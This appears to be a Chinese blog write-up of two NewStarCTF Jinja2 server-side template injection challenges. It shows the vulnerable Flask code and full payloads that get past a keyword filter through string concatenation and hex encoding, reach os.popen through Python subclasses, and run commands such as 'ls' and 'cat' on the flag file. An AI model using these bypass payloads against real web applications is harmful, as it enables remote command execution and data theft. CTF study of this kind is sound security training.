当前位置: 首页 > backend >正文

ssti刷刷刷

[NewStarCTF 公开赛赛道]BabySSTI_One

测试发现过滤关键字,但是特殊符号中括号、双引号、点都能用

可以考虑拼接或者编码,这里使用拼接


?name={{()["__cla"~"ss__"]}}


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()}}

 直接命令执行


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ls")["read"]()}}

?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ca"~"t"~" "~"app*")["read"]()}}

from flask import Flask, request 
from jinja2 import Template 
import re 
app = Flask(__name__) 
@app.route("/") 
def index(): name = request.args.get('name', 'CTFer') if not re.findall('class|base|init|mro|flag|cat|more|env', name): t = Template("Welcome to NewStarCTF, Dear " + name + "Try to GET me a NAME") return t.render() else: t = Template("Get Out!Hacker!") return t.render() 
if __name__ == "__main__": app.run()

根目录下


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("tac /fla*")["read"]()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

burp测一下过滤哪些

过滤了这些内容,可用如下

尝试十六进制编码绕过


?name={{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}

 

 


#{{()['__class__']['__base__']['__subclasses__']()}}
{{()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()}}


name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}#    {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls')['read']()}}

 

 flag在根目录下


?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls /')['read']()}}?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad')['read']()}}

http://www.xdnf.cn/news/6619.html

相关文章:

  • 使用 LSTM/GRU 预测设备异常的模型
  • 【HTML5学习笔记2】html标签(下)
  • Java视频流RTMP/RTSP协议解析与实战代码
  • PCL 计算一条射线与二次曲面的交点
  • 西安前端面试
  • YOLO+UI(C#)开发
  • 基于React的高德地图api教程006:两点之间距离测量
  • 大规模CFD仿真计算中,SIMPLE或者PISO算法中加速压力场方程迭代求解
  • SZU 编译原理
  • BASE理论
  • 四、xlib区域
  • go 集成base64Captcha 支持多种验证码
  • 【机器学习|学习笔记】 K近邻算法(K Nearest Neighbour,KNN )详解,附代码。
  • 从银行排队到零钱支付:用“钱包经济学”重构Java缓存认知
  • LLaMA-Factory微调大模型Qwen2.5
  • 【设计模式】- 行为型模式1
  • 利用 Amazon Bedrock Data Automation(BDA)对视频数据进行自动化处理与检索
  • 2025年PMP 学习十六 第11章 项目风险管理 (总章)
  • IDEA中springboot项目中连接docker
  • upload-labs通关笔记-第7关 文件上传之空格绕过
  • Qwen3技术报告解读
  • 基于springboot+vue的机场乘客服务系统
  • 基于“岗课赛证”融通的中职“综合布线技术”课程解决方案
  • Pywinauto:轻松实现Windows桌面自动化实战
  • Python模块化编程进阶指南:从基础到工程化实践
  • Acronis True Image 2025 中文版深度评测:全能系统备份与灾难恢复解决方案
  • HTML常用标签用法全解析:构建语义化网页的核心指南
  • 大模型在数据分析领域的研究综述
  • Detected for tasks ‘compileDebugJavaWithJavac‘ (17) and ‘kspDebugKotlin‘ (21).
  • 0x08.Redis 支持事务吗?如何实现?